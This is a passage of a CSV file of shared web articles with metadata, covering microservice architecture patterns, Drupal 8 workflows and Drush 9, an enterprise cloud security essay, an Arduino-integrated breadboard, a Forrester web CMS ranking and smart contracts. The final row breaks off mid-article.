1485252614,CONTENT SHARED,-3482581255202910790,7645894863578715801,3191552813541750596,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,https://medium.com/capital-one-developers/microservices-when-to-react-vs-orchestrate-c6b18308a14c,Microservices - When to React Vs. Orchestrate - Capital One DevExchange,"Most of us are familiar with the main concepts of microservices and their benefits; however, there is often less consensus on how to properly implement them. As you build an application that uses microservices, you'll need to make decisions on how the microservices interact. A common question that comes up during these discussions is, "" Should I use orchestration or a reactive approach in my application? And is it possible to use both?"" As with any technological decision, there are pros and cons to each approach that need to be evaluated with your specific project in mind. In this article, we will discuss each of these patterns in detail, along with some examples of when it's best to use them. Orchestration Benefits and Tradeoffs Orchestration is the traditional way of handling interactions between different services in Service-Oriented Architecture (SOA). With orchestration, there is typically one controller that acts as the ""orchestrator"" of the overall service interactions. This typically follows a request/response type pattern. For example, if three services needed to be called in a particular order, the orchestrator makes a call to each one, waiting for a response before calling the next. Benefits Provides a good way for controlling the flow of the application when there is synchronous processing. For example, if Service A needs to complete successfully before Service B is invoked. Tradeoffs Couples the services together creating dependencies. If service A is down, service B and C will never be called. If there is a central shared instance of the orchestrator for all requests, then the orchestrator is a single point of failure. If it goes down, all processing stops. Leverages synchronous processing that blocks requests. In this example, the total end-to-end processing time is the sum of time it takes for Service A + Service B + Service C to be called. Reactive Benefits and Tradeoffs When building a microservices architecture, we want to avoid creating dependencies within each microservice; meaning each service should be able to stand on its own. Reactive architecture patterns solve for some of the orchestration challenges listed above. I tend to think of reactive architecture as an event-driven architecture pattern applied to microservices. Instead of having a central orchestrator that controls the logic of what steps happen when, that logic is built into each service ahead of time. Think of it as coordination or choreography. The services know what to react to and how, ahead of time, like a marching band performing their big number after months of practice. Services use an event stream for asynchronous communication of events. Multiple services can consume the same events, do some processing, and then produce their own events back into the event stream, all at the same time. The event stream does not have any logic and is intended to be a dumb pipe. The asynchronous nature of a reactive architecture removes the blocking, or waiting, that happens with orchestration (request/response) type processing. Services can produce events and keep processing. Using an event stream for this enables communication between producer and consumers to be decoupled - the producer doesn't need to know if the consumer is up and running before they produce an event, or if the consumer received the event that was produced. Also, in some cases, producers may want to direct commands to a specific service and receive acknowledgement that the consumer received it. Additionally, consumers/producers may want to consume/produce events from/to the event stream. This is a valid pattern and often you will find both approaches used together in a reactive architecture. Benefits Enables faster end-to-end processing as services can be executed in parallel/asynchronously. Easier to add/update services as they can be plugged in/out of the event stream easily. Aligns well with an agile delivery model as teams can focus on particular services instead of the entire application. Control is distributed, so there is no longer a single orchestrator serving as a central point of failure. Several patterns can be used with a reactive architecture to provide additional benefits. For example, Event Sourcing is when the Event Stream stores all of the events and enables event replay. This way, if a service went down while events were still being produced, when it came back online it could replay those events to catch back up. Also, Command Query Responsibility Segregation (CQRS) can be applied to separate out the read and write activities. This enables each of these to be scaled independently. This comes in handy if you have an application that is read-heavy and light on writes or vice versa. Tradeoffs Async programming is often a significant mindshift for developers. I tend to think of it as similar to recursion , where you can't figure out how code will execute by just looking at it, you have to think through all of the possibilities that could be true at a particular point in time. Complexity is shifted. Instead of having the flow control centralized in the orchestrator, the flow control is now broken up and distributed across the individual services. Each service would have its own flow logic, and this logic would identify when and how it should react based on specific data in the event stream. Hybrids Many developers have found that a one-size-fits-all approach doesn't work well in software application architecture. I believe this is especially true with reactive and orchestration patterns. What do you do if your use case falls in the gray area with some characteristics of both reactive and orchestration patterns? For example, perhaps you have a mix of synchronous and asynchronous processing; either synchronous blocks of asynchronous activities or vice versa. In these situations, I believe there are one or more hybrid patterns that can add value and should be considered for your project. One design principle to consider when using a hybrid approach is to keep the main interaction between services reactive to achieve higher levels of asynchronous processing. Doing the opposite (using orchestration patterns between services and asynchronous patterns within a service) limits the overall amount of asynchronous processing you can do. Below, we will walk through two different hybrid patterns that use reactive patterns along with orchestration. Hybrid #1 - Reactive Between and Orchestration Within The first hybrid pattern uses reactive between services and orchestration within a service. In this example, Services A, B, and C are reactive to one another. Service A consumes an event that triggers it to orchestrate calls to additional Services D, E, and F. Those additional service calls could be asynchronous or synchronous. Service A then produces an event with the result from those three service calls. Benefits The services are decoupled (but not the services within Service A). Asynchronous processing is enabled by leveraging events between services. The overall flow is distributed. Each service contains its own flow logic. Tradeoffs Within Service A there is coupling with Services D, E, and F. Depending on the design, within Service A there could be synchronous processing that blocks requests. Hybrid #2 - Reactive Between and a Coordinator to Drive Flow The second hybrid pattern uses reactive between services and a coordinator to drive the flow. In this example, the coordinator is like a reactive orchestrator. It uses the concepts of commands and events - commands being things that need to be done, and events being things that have been done. The coordinator produces commands to the event stream and the respective microservices that are preprogrammed for the commands consume the command, perform some processing, and then produce events to the event stream. In this example, services A and C kick off at the same time. The coordinator consumes events from the event stream and reacts to the events it cares about as necessary. Benefits The services are decoupled (but there is a degree of coupling between the services and the coordinator). Asynchronous processing is enabled by leveraging events between services. The overall flow can be seen in one place in the reactive coordinator. Tradeoffs The coordinator does have coupling with the services - specifically with needing to know what commands a service needs in order to react. If the coordinator goes down, the entire reactive system can be impacted. When to Use Orchestration Vs. Reactive Vs. Hybrids So should everything be reactive going forward? Is orchestration a thing of the past? In working through different use cases, I've found there are valid scenarios where each pattern makes sense. Here we will walk through some hypothetical conditions where pure reactive, pure orchestration, or a hybrid pattern could apply. Pure Reactive Use Cases If all or most of your processing can be done asynchronously. The reactive architecture pattern is a great fit for processing that needs to occur in parallel. If minimal to zero of your processing can be done asynchronously, then the reactive pattern may be excessive. If decentralizing the flow into each service is manageable. Correlation IDs can be used to re-create a centralized view for monitoring and auditing. If speed to market is a priority. Combining microservices with a reactive approach helps maximize decoupling and minimize dependencies, enabling products to get to market faster. Pure Orchestration Use Cases If all or most of your steps have to be done in a sequential fashion, with minimal to zero opportunities for parallel processing. If there is a desire to keep the overall flow control centralized. This one can be tricky but I can see a scenario where centralizing the flow could make sense. Specifically, if the ability to see the end-to-end flow in one place is a high priority at both design-time and run-time. One condition where this can be true is if you have hundreds of services each with multiple different flows based on what is being processed. In this case, it may be easier to manage the flow in a central place rather than distributing it. Decoupling is not a priority. Hybrid Use Cases When to use reactive between services and orchestration within a service If all or most of your processing can be done asynchronously. If decentralizing the flow into each service is manageable. If speed to market is a priority. If there are sequential steps that only apply within a service, not across services. When to use reactive between services and a coordinator to drive the flow If there are synchronous blocks of asynchronous processing. If the overall flow could change based on the data being processed, and that flow could involve several hundred microservices. If there is a need to see the overall all end-to-end flow at design-time and run-time. If there is a need to decouple as much as possible to eliminate dependencies. Conclusion Overall, all three categories of patterns - Orchestration, Reactive, and Hybrid - can apply in different scenarios and use cases. As such, none is necessarily better than the others or applicable for all needs. If you ask, ""Should I use orchestration or a reactive approach in my application? And is it possible to use both?"" my recommendation will be to evaluate using a reactive architecture first, then work backwards from there if it's not a fit for your use case. This will help guarantee that you're picking the best architecture for your needs, with a properly evaluated set of pros and cons specific to your project.",en
1485256341,CONTENT SHARED,-2184022689343185012,3891637997717104548,1823272829985209047,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://buytaert.net/moving-the-drupal-8-workflow-initiative-along,Moving the Drupal 8 workflow initiative along,"Nine months ago I wrote about the importance of improving Drupal's content workflow capabilities and how we set out to include a common base layer of workflow-related functionality in Drupal 8 core. That base layer would act as the foundation on which we can build a list of great features like cross-site content staging, content branching, site previews, offline browsing and publishing, content recovery and audit logs. Some of these features are really impactful; 5 out of the top 10 most requested features for content authors are related to workflows (features 3-7 on the image below). We will deliver feature requests 3 and 4 as part of the ""content workflow initiative"" for Drupal 8. Feature requests 5, 6 and 7 are not in scope of the current content workflow initiative but still stand to benefit significantly from it. Today, I'd like to provide an update on the workflow initiative's progress the past 9 months. The top 10 requested features for content creators according to the 2016 State of Drupal survey . Features 1 and 2 are part of the media initiative for Drupal 8 . Features 3 and 4 are part of the content workflow initiative. Features 5, 6 and 7 benefit from the content workflow initiative. Configurable content workflow states in Drupal 8.2 While Drupal 8.0 and 8.1 shipped with just two workflow states (Published and Unpublished), Drupal 8.2 (with the the experimental Content moderation module) ships with three: Published, Draft, and Archived. Rather than a single 'Unpublished' workflow state, content creators will be able to distinguish between posts to be published later (drafts) and posts that were published before (archived posts). The 'Draft' workflow state is a long-requested usability improvement, but may seem like a small change. What is more exciting is that the list of workflow states is fully configurable: you can add additional workflow states, or replace them with completely different ones. The three workflow states in Drupal 8.2 are just what we decided to be good defaults. Let's say you manage a website with content that requires legal sign-off before it can be published. You can now create a new workflow state 'Needs legal sign-off' that is only accessible to people in your organization's legal department. In other words, you can set up content workflows that are simple (like the default one with just three states) or that are very complex (for a large organization with complex content workflows and permissions). This functionality was already available in Drupal 7 thanks to the contributed modules like the Workbench suite . Moving this functionality into core is useful for two reasons. First, it provides a much-requested feature out of the box - this capability meets the third most important feature request for content authors. Second, it encourages contributed modules to be built with configurable workflows in mind. Both should improve the end-user experience. Support for different workflows in Drupal 8.3 Drupal 8.3 (still in development, planned to be released in April of 2017) goes one step further and introduces the concept of multiple types of workflows in the experimental Workflows module. This provides a more intuitive way to set up different workflows for different content types. For example, blog posts might not need legal sign-off but legal contracts do. To support this use case, you need to be able to setup different workflows assigned to their appropriate content types. What is also interesting is that the workflow system in Drupal 8.3 can be applied to things other than traditional content. Let's say that our example site happens to be a website for a membership organization. The new workflow system could be the technical foundation to move members through different workflows (e.g. new member, paying member, honorary member). The reusability of Drupal's components has always been a unique strength and is what differentiates an application from a platform. By enabling people to reuse components in interesting ways, we turn Drupal into a powerful platform for building many different applications. Drupal 8.3 will support multiple different editorial workflows. Each workflow can define its own workflow states as well as the possible transitions between them. Each transition has permissions associated with them to control who can move content from one state to another. Workspace interactions under design While workflows for individual content items is very powerful, many sites want to publish multiple content items at once as a group. This is reflected in the fourth-most requested feature for content authors, 'Staging of multiple content changes'. For example, a newspaper website might cover the passing of George Michael in a dedicated section on their site. Such a section could include multiple pages covering his professional career and personal life. These pages would have menus and blocks with links to other resources. 'Workspaces' group all these individual elements (pages, blocks and menus) into a logical package, so they can be prepared, previewed and published as a group. And what is great about the support for multiple different workflows is that content workflows can be applied to workspaces as well as to individual pieces of content. We are still in the early stages of building out the workspace functionality. Work is being done to introduce the concept of workspaces in the developer API and on designing the user interface . A lot remains to be figured out and implemented, but we hope to introduce this feature in Drupal 8.5 (planned to be released in Q2 of 2018). In the mean time, other Drupal 8 solutions are available as contributed modules. An outside-in design that shows how content creators could work in different workspaces. When you're building out a new section on your site, you want to preview your entire site, and publish all the changes at once. Designed by Jozef Toth at Pfizer. Closing thoughts We discussed work on content workflows and workspaces. The changes being made will also help with other problems like content recovery, cross-site content staging, content branching, site previews, offline browsing and publishing, and audit logs. Check out the larger roadmap of the workflow initiative and the current priorities . We have an exciting roadmap and are always looking for more individuals and organizations to get involved and accelerate our work. If you want to get involved, don't be afraid to raise your hand in the comments of this post. Thank you I tried to make a list of all people and organizations to thank for their work on the workflow initiative but couldn't. The Drupal 8 workflow initiative borrows heavily from years of hard work and learnings from many people and organizations. In addition, there are many people actively working on various aspects of the Drupal 8 workflow initiative. Special thanks to Dick Olsson (Pfizer), Jozef Toth (Pfizer), Tim Millwood (Appnovation), Andrei Jechiu (Pfizer), Andrei Mateescu (Pfizer), Alex Pott (Chapter Three), Dave Hall (Pfizer), Ken Rickard (Palantir.net) and Ani Gupta (Pfizer). Also thank you to Gábor Hojtsy (Acquia) for his contributions to this blog post.",en
1485256793,CONTENT SHARED,2998023988107018635,3891637997717104548,1823272829985209047,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://jordanpagewhite.github.io/drupal-8-front-end-architecture/?utm_source=The+Weekly+Drop&utm_medium=email&utm_campaign=The_Weekly_Drop_Issue_272_01_12_2017,Drupal 8 Front-End Architecture,"I recently read Front-End Architecture for Design Systems by Micah Godbolt (BK1). It is a fantastic evaluation of front-end architecture and strategy. The book isn't specifically for Drupal developers, but the concepts laid out in the book are relevant to all front-end developers and they are easily applicable to Drupal 8 projects.",en
1485257514,CONTENT SHARED,8905656922810620012,3891637997717104548,1823272829985209047,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://krisandju.e-webindustries.com/blog/hedron-or-my-dissatisfaction-local-development,Hedron: Or my dissatisfaction with local development #Drupal,"I'm not an Ops guy. I don't like screwing with server configuration. It makes me cranky. But I'm also not blind and I do like artifact generation. I have a long history with what we in the Drupal community think of as ""artifacts"". We us a tool called drush make and build and distribute Drupal profiles (i.e.",en
1485258535,CONTENT SHARED,-1437952039441999695,3891637997717104548,1823272829985209047,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://medium.com/@weitzman/drush-9-roadmap-9eb5cd227c50,Drush 9 Roadmap,"This week marks Drush's 10 year anniversary ! This old utility knife has responded to millions of requests, shaving seconds off our daily tasks . We hear it all the time at Meetups, Camps and Cons: ""I couldn't live without Drush!"" We agree, and use it all day long. In order to thrive for another decade, the Drush maintainers are sharing some significant changes for Drush 9. Note that Drush 8 will be maintained for a long time so please don't fret if your needs aren't met by Drush 9. Modernize Drush 9 commands will be classes, not procedural .inc files. We have embraced a standard form called Annotated Command . A Drush command is now a single method, along with PHPDoc and annotations that declare arguments/options/examples, etc. Commands now look similar to PHPUnit tests or Drupal8 entity definitions. We have already ported a few commands (Views: before and after , Init: before and after ). Drush 9 will keep support for old-style commandfiles in order to ease this transition. We have started replacing a lot of custom CLI code with Symfony Console. Lots more to do. Move output formatters into its own open source project . This is done! Move site aliases to their own project . Lots more to do. Require a site-local Drush, and drop Phar support. Possibly keep a slim, global finder/launcher. Drop code assembly commands and promote Composer as an alternative. Drop `make` command. Offer make-convert and composer-generate as upgrade paths. Drop pm-download (dl) and pm-updatecode commands. `composer info` and `composer outdated` are replacements for pm-updatecode. Write helpful error messages, help topics, and blog posts to support folks as they transition to Composer. Single Drupal Version Drush 9 will only support Drupal 8. It looks like Drupal is going to stick on 8 for a long time, so we might as well simplify to one major Drupal version per Drush version. Drupal 6 and 7 users can happily use Drush 8 for a long time (we will support it for a long time). This goal and simplifying pm commands help us deprecate Drush engines, which are a pre-OO construct. Outreach Step up the blogging in order to let the world know about our improvements. Build a static web site like or Incorporate our docs site and drushcommands.com functionality Tutorials for end users and command authors. As always, please jump in and help with ideas, pull requests, and reviews.",en
1485259412,CONTENT SHARED,7581009799961380333,7774613525190730745,792430433553265945,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://medium.com/built-to-adapt/the-three-r-s-of-enterprise-security-rotate-repave-and-repair-f64f6d6ba29d,"The Three R's of Enterprise Security: Rotate, Repave, and Repair - Built to Adapt","In the last 10 years, I've had the privilege of working on cloud security at Microsoft, Google, and Pivotal. Most recently at Pivotal, I've worked closely with some of the most forward-looking enterprises in the world. All of them want to deliver applications at a faster pace, and they are willing to try new tools, techniques, and processes to get there. I've observed another common trait - security is a top concern, both with their existing infrastructure and their next generation cloud infrastructure. Behaviorally, there is an instinctual reach for previously defined tools and methodologies to help ensure the appropriate level of security. Often they are calcified within the organization. Some are helpful, some are not. In this post, I'll describe what I believe to be the single most important concept for an enterprise security organization to grasp when evaluating cloud infrastructure. It's a radical change from the status quo, but I believe it will dramatically and immediately improve the security posture of any IT organization. Its idea is quite simple. Rotate datacenter credentials every few minutes or hours. Repave every server and application in the datacenter every few hours from a known good state. Repair vulnerable operating systems and application stacks consistently within hours of patch availability. Faster is safer. It's not a fantasy - the tools exist to make most of this a reality today. Do it, and you'll see a dramatic improvement in enterprise security posture. Before I describe why and how this works, let's first take a step back and look at today's enterprise security culture. The Trap Of Resisting Change to Mitigate Risk The sad truth is that the foundation of traditional enterprise infrastructure centers on resisting change. Firewall rules, long-lived TLS credentials, and hard-to-update databases support that hypothesis. It's natural to expect that an enterprise security team, after decades of consuming infrastructure that resists change, would have a culture that also resists change. It's a seller/buyer socio-technical system. Traditional approaches force enterprises to choose between moving fast and accept unbounded risk, or slowing down and try to mitigate risk. Everybody chooses slowing down. It's an easy decision when it's your job to protect an organization. The Dreaded Mega-Breach At or near the top of security concerns in the datacenter is something called an Advanced Persistent Threat (APT). An APT gains unauthorized access to a network and can stay hidden for a long period of time. Its goal is usually to steal, corrupt, or ransom data. It's the dreaded, front-page newsworthy mega-breach. A lot has been written about the anatomy of an APT . Unfortunately, APT has become an umbrella buzzword, so it will likely mean different things to different people. In this post I'm focusing on an attack that worms its way into the datacenter, sits in the network, observes, and then does something malicious. To avoid the hype, I'll simply call it an attack and leave the labeling to the reader. I believe these types of attacks need at least three resources in order to blossom - 1) time, 2) leaked or misused credentials, and 3) misconfigured and/or unpatched software. Time gives the malware more opportunity to observe, learn, and store. Credentials provide access to other systems and data, possibly even an ingress point. Vulnerable software provides room to penetrate, move around, hide, and gather more data. These are like sunlight, water, and soil to a plant. Remove one or more and it's not likely to mature. Now, consider the relationship between the calcified socio-technical system and attacks. First and foremost, there's lots and lots of time. For example, credentials seldom rotate. So, if an attacker can find some, they are likely to remain valid and useful for a long time. As well, it often takes months to deploy patches to operating systems and application stacks, even in a virtualized world. It's not uncommon for an enterprise to leave a server vulnerable for 6 months or more. Almost no one regularly repaves their servers or applications from a known, good-state. Instead we often apply incremental changes, so the slate almost never gets wiped clean. Traditional enterprise software vendors and the trap of the rigid enterprise create the rich, fertile, undisturbed pastures for attacks to flourish. The Acme Pattern To get a clearer picture of what this means in real terms, let us look at the accreditation process at Acme corporation as an example. The process is there for a good reason, but it also has a nasty side effect. Let's say Acme has an enterprise accreditation process that takes two months, and it's required on every major software release. It's there to ensure baseline security standards and to ensure the new version doesn't break existing systems. If a software vendor releases version 2.0 in January, Acme starts the accreditation process in early February. There's a minor hiccup, so the process doesn't complete until mid-April. Installation is planned for June, and it takes one month to complete. The total delay is at least six months - plenty of time to give an attack all the resources it needs to transition from a seedling into a monster. There's more. Acme will often push back on the software vendor to keep prior versions of their software patched for a long period of time. This further complicates improvements because the software vendor must devote non-trivial resources to this effort. Those resources can't be used to improve the product, so releasing new versions of software can take even longer. The cycle perpetuates and grows, and inadvertently feeds the attacker. The cycle needs to be broken. Faster is Better What's the industry's response to this phenomenon? I'll give you a clue - it isn't working. Enter a parade of security software vendors. With the confluence of the slowly changing socio-technical culture and attacks, gas is poured on the demand for security monitoring and detection tools. I guess the reasoning is something like, ""It can't change quickly, so change is a sign of a malicious actor."" We've resigned ourselves to live with slowly changing infrastructure, so we spend lots of money monitoring it for change and hoping for the best. This is a decision to treat the symptoms rather than cure the disease. In fact, many security monitoring solutions embody a self-fulfilling prophecy - since updating a system often looks like an attack, you either stop paying attention to alerts or you resist updates. Both help attackers. I'm not saying all monitoring and detection is unnecessary - I'm asserting that it's palliative treatment at best. Most monitoring solutions help enterprises deal with attacks in about the same way a table knife helps one eat a bowl of soup. If you identify with the above reasoning, then it's natural to wonder about the cure. I don't have all the answers, but I believe the key is to starve attacks of the resources they need to grow into monsters. Rotate the credentials frequently so they are only useful for short periods of time. Repave servers and applications from a known good state to cut down on the amount of time an attack can live. Repair vulnerable software as soon as updates are available. Rotate , repave , repair . I call these the three R's of enterprise security. Starving Attacks with the Three R's - Rotate, Repave, and Repair At high velocity, the three R's starve attacks of the resources they need to grow. It's a complete 180-degree change from the traditional careful aversion to change to mitigate risk. Go fast to stay safer - in other words, speed reduces risk. To an attacker, it's like playing a nearly unsolvable video game. She needs to get to level 100, but she can't get past level 5 because there's not enough time. In addition, what worked the first try didn't work on the 20th try. The promise of the three R's is profound. It's no secret that I'm biased towards Pivotal Cloud Foundry , BOSH , Concourse and OpsManager . By themselves and in their current state, these products change the attacker/defender game dramatically. It's totally possible to repave every VM in your datacenter from a known good state every few hours without application downtime. Deploy your applications from CI, and your application containers will also be repaved every few hours. Our patch turnaround time for the entire stack is second to none, and you can deploy those patches to your entire datacenter with a few clicks of a mouse. We've got the repave and repair angles pretty well covered with OpsManager, BOSH, and Concourse, and Pivotal Web Services. For example, all the VMs in a Pivotal Cloud Foundry cluster are imaged with an image called a stem cell. Though it's not yet a default option, It's possible to repave every VM in the cluster on an interval of your choosing with BOSH. Pivotal Web Services automatically updates buildpacks to ensure application environments are always patched. We're still working on automated credential management, so stay tuned for updates on that front. From a security point of view, I can't think of a reason not to embrace this model immediately. Regardless of the tools you're investigating, I encourage you to consider the three R's when evaluating the security of your cloud platform. If a tool doesn't help you get there, then it's probably best to run away. ✹ This article is part of Built to Adapt , a publication by that shares stories and insights on how software is changing the way businesses are built.",en
1485266665,CONTENT SHARED,-9194572880052200111,2279740393166882579,-2981318194211766525,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36",SP,BR,HTML,http://br-arduino.org/2017/01/stemtera-uma-protoboard-com-arduino-uno-embutido.html,"STEMTera, uma protoboard com Arduino Uno embutido","Protoboard de 400 pinos + Arduino Uno em um só bloco: a STEMTera une 2 dos principais elementos da experimentação com microcontroladores. A STEMtera embute no corpo da protoboard uma placa especialmente desenvolvida para isso, compatível com o Arduino Uno, mas mantém as 40 linhas de 5+5 colunas (A a E, F a J) tradicionais plenamente livres e disponíveis para quaisquer projetos, já que os pinos do microcontrolador ficam em colunas extras posicionadas entre elas e as raias de alimentação, como você pode ver no diagrama a seguir: Os pinos do microcontrolador estão dispostos mantendo as dimensões e posições padrão do Arduino Uno, de forma que você pode inclusive plugar shields diretamente na protoboard: Além disso, a protoboard expõe um botão de reset, entrada para alimentação, porta USB e os tradicionais LEDs de funcionamento, TX e RX seriais, e o LED controlável pelo usuário (associado ao pino 13). Para completar, a base da protoboard é compatível com Lego, facilitando encaixá-la em montagens mecânicas educacionais (ou não!). Um diferencial interessante em relação ao projeto lógico do Arduino Uno, entretanto, é que na STEMTera estão expostos também todos os 21 pinos de E/S do microcontrolador (ATmega16U2/32U2) auxiliar responsável pela comunicação USB entre o ATmega328P e o computador - no projeto original do Arduino Uno, o microcontrolador auxiliar fica totalmente dedicado à tarefa de intermediar a USB/Serial do ATmega328P, e só os seus pinos do ICSP ficam expostos (o que já é suficiente para bastante gente interferir criativamente no seu funcionamento) ;-) Com todos os pinos do ATmega16U2/32U2 acessíveis (além dos pinos do ATmega328, claro), é possível ir além no aproveitamento do potencial desse microcontrolador auxiliar, em especial em projetos que envolvam comunicação USB com desempenho maior do que o normalmente exigido pelos modestos padrões de conexão USB-Serial. A biblioteca LUFA pode ser usada para esse desenvolvimento. Além da compatibilidade com a IDE do Arduino, os autores informam que o produto é compatível com o Atmel Studio, AVR-GCC, AVR-GCC + LUFA, Scratch e Codebender. O nome STEMTera indica um foco do desenvolvimento desse produto: a sigla STEM é frequentemente usada no âmbito educacional para indicar as disciplinas científicas e tecnológicas (em inglês, é um acrônimo para Ciência, Tecnologia, Engenharia e Matemática). O produto foi alvo de uma bem-sucedida campanha do Kickstarter , que arrecadou quase o dobro do solicitado pelos proponentes, e no momento já consta no catálogo da Sparkfun em 3 cores (preto, branco e rosa), embora com previsão de envio apenas a partir do final desta semana (28/1/2017). E não no de muitos dos clones mais econômicos, que substituem o ATmega16U2/32U2 por um chip mais barato, especializado em comunicação USB/serial, como os da FTDI e seus congêneres. ↩",pt
1485269494,CONTENT SHARED,-1557920564469956829,3609194402293569455,-8818350335304184251,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://hipsters.tech/prototipacao-erre-cedo-para-acertar-cedo-hipsters-28/,Prototipação: erre cedo para acertar cedo - Hipsters #28,"Muito se fala sobre tirar uma ideia do papel e colocá-la em ação. Mas antes de tirar algo do papel, é necessário colocar algo lá. Como fazer isso corretamente? Como esboçar uma ideia? Que ferramentas posso usar para isso? Participantes: Links citados no episódio: Produção e conteúdo: Alura Cursos online de Tecnologia Caelum Ensino e Inovação Edição e sonorização: Radiofobia Podcast e Multimídia",pt
1485316870,CONTENT SHARED,-3900870368325485697,-2726721797588771398,-1022963948596515475,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.67 Safari/537.36",?,US,HTML,http://www.cmswire.com/digital-experience/adobe-acquia-episerver-lead-new-forrester-wcm-wave/,"Adobe, Acquia, Episerver Lead New Forrester WCM Wave","Forrester's WCM Wave favors Adobe, Acquia and Episerver. PHOTO: Pixabay Forrester gave top ratings to Adobe, Acquia and Episerver in a just released Wave that emphasizes the cloud and headless deployments, as well as integrations with best-of-breed products. The heavy weighting on headless, modularization, APIs and micro-services strategy pushed pushed Acquia and Episerver into the leaderboard for the first time, where they joined perennial leader Adobe - the top ranked platform. 3 Strong Performers Forrester's view of the market hurt Sitecore , which slipped from a leader last year to a strong performer in the Wave released today. Sitecore was also rated a strong performer in 2013 and 2011. However it helped boost Hippo - which San Francisco-based BloomReach acquired in October - into its first Wave for WCM. Hippo and SDL, like Sitecore, were also named strong performers. Forrester analyst Mark Grannan, a CMSWire DX Summit speaker , was lead author on the report. Stephen Powers, Danielle Geoffroy, Ted Schadler, Martin Gill, Allison Cazalet and Peggy Dostie also contributed to the Forrester Wave for WCM (fee charged). Forrester researched, analyzed and scored 15 WCM platforms. In addition to Acquia, Adobe, Episerver, Hippo and Sitecore, analysts rated OpenText Teamsite, IBM , e-Spirit , Progress Software , Oracle , Jahia , Crownpeak and Magnolia . OpenText WEM was the lone challenger. Forrester's view of the WCM market differs significantly from that of competing analyst firm Gartner . In its latest Magic Quadrant for Web Content Management last September, Gartner named six leaders: Adobe, Acquia, Episerver, IBM, Oracle and Sitecore. Forrester Favors PaaS Deployments Forrester rankings and research show a preference for Platform-as-a-Service (PaaS) deployments, which provide application development and deployment tools abstracted from the underlying cloud infrastructure on which they run your apps. Platforms that incorporated this strategy scored highly for strategy in Forrester's 2017 report. Hippo led the way with a perfect 5.0, the top rating. Acquia scored 4.0. Episerver, Crownpeak and SDL all earned 3.0. Adobe and Sitecore each earned 1.0 - a weak rating. Forrester analysts noted: Adobe Experience Manager (AEM) Sites' only option is a managed-hosted flavor of PaaS Sitecore's historic gap is a ""lack of a cloud strategy."" However, Forrester analysts noted Sitecore will add native Azure-managed services in 2017, an issue it addressed in its November product release (but too late for evaluation in this Wave.) Open-Source Makes Waves Analysts from both Forrester and Gartner have shown faith in the open-source WCM model in recent reports. Acquia, which offers a commercial service supporting open source Drupal, was a strong performer in Forrester's 2015 WCM Wave two years ago and is now a leader. Acquia's landed in the leaders category back to back in 2014 and 2015 in the Gartner Magic Quadrant for Web CMS - and again in July of 2016, Gartner's latest report on the WCM vendor industry. Hippo, an open-source, Java-based Web CMS, jumped from a niche player to a visionary in Gartner's 2016 Magic Quadrant report. Changing Landscape How marketers and analysts view Web CMS platforms has changed a bit in the last four years. Take a look at Forrester's requirements for WCM offerings in 2013: 1) content management; 2) websites and layout; 3) globalization and localization; 4) content targeting; 5) multichannel; 6) social and community controls; 7) publishing and deployment; and 8) measurement. And now in 2017: Content structure and metadata, experience management features for practitioners, technical product architecture and packaged extensions. Buyers must have smart content, targeted experiences and agile operations, which all translates to contextual digital experiences, according to Forrester analysts. The key differentiators today, according to the analysts? Semantic content, APIs cloud and marketing. Qualifications for Inclusion Forrester included 25 criteria for inclusion in this report. It identified 15, which had to meet these qualifications: Current Forbes 1000 cite them as customer-facing or partner-facing web platform Vendors routinely are asked about by Forrester clients Enterprise customers and local operations in at least two major world regions for at least the past year Three enterprise, current customers willing to share experiences Regional or global partner/implementers that have supported enterprise-level deployments in the past year",en
1485342028,CONTENT SHARED,-7358932766266901263,-8420584158427265596,-1843663387254811608,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.coindesk.com/three-smart-contract-misconceptions/,Why Many Smart Contract Use Cases Are Simply Impossible - CoinDesk,"Dr Gideon Greenspan is the founder and CEO of Coin Sciences, the company behind the MultiChain platform for private blockchains. In this opinion piece, Greenspan discusses blockchain-enabled smart contracts and why this application of the technology may be suffering from inflated expectations. As the developer of a popular blockchain platform, I sometimes gets asked whether Ethereum-like smart contracts are on the MultiChain roadmap. The answer I always give is always: 'No, or at least not yet'. But in the hype-filled world of blockchains, smart contracts are all the rage, so why ever not? Well, the problem is, while we now know of three strong use cases for permissioned bitcoin-style blockchains (provenance, company recordkeeping and lightweight finance), we've yet to find the equivalent for Ethereum smart contracts. It's not that people don't understand what they want smart contracts to do. Rather, it's that so many of these ideas are simply impossible. When smart people hear the term ""smart contracts"", their imaginations tend to run wild. They conjure up dreams of autonomous intelligent software, going off into the world, taking data along for the ride. Unfortunately, the reality of smart contracts is more mundane. A smart contract is a piece of code that is stored on an blockchain, triggered by blockchain transactions and which reads and writes data in that blockchain's database. That's it. Really. A smart contract is just a fancy name for code that runs on a blockchain, and interacts with that blockchain's state. And what is the code? It's Pascal, it's Python, it's PHP. It's Java, it's Fortran, it's C++. If we're talking databases, it's stored procedures written in an extension of SQL. All of these languages are fundamentally equivalent, solving the same sorts of problems in the same sorts of ways. Of course, each has its strengths and weaknesses - you'd be crazy to build a website in C or compress HD video in Ruby. But in principle at least, you could if you wanted to. You'd just pay a heavy price in terms of convenience, performance, and quite probably, your hair. The problem with smart contracts isn't just that people's expectations are 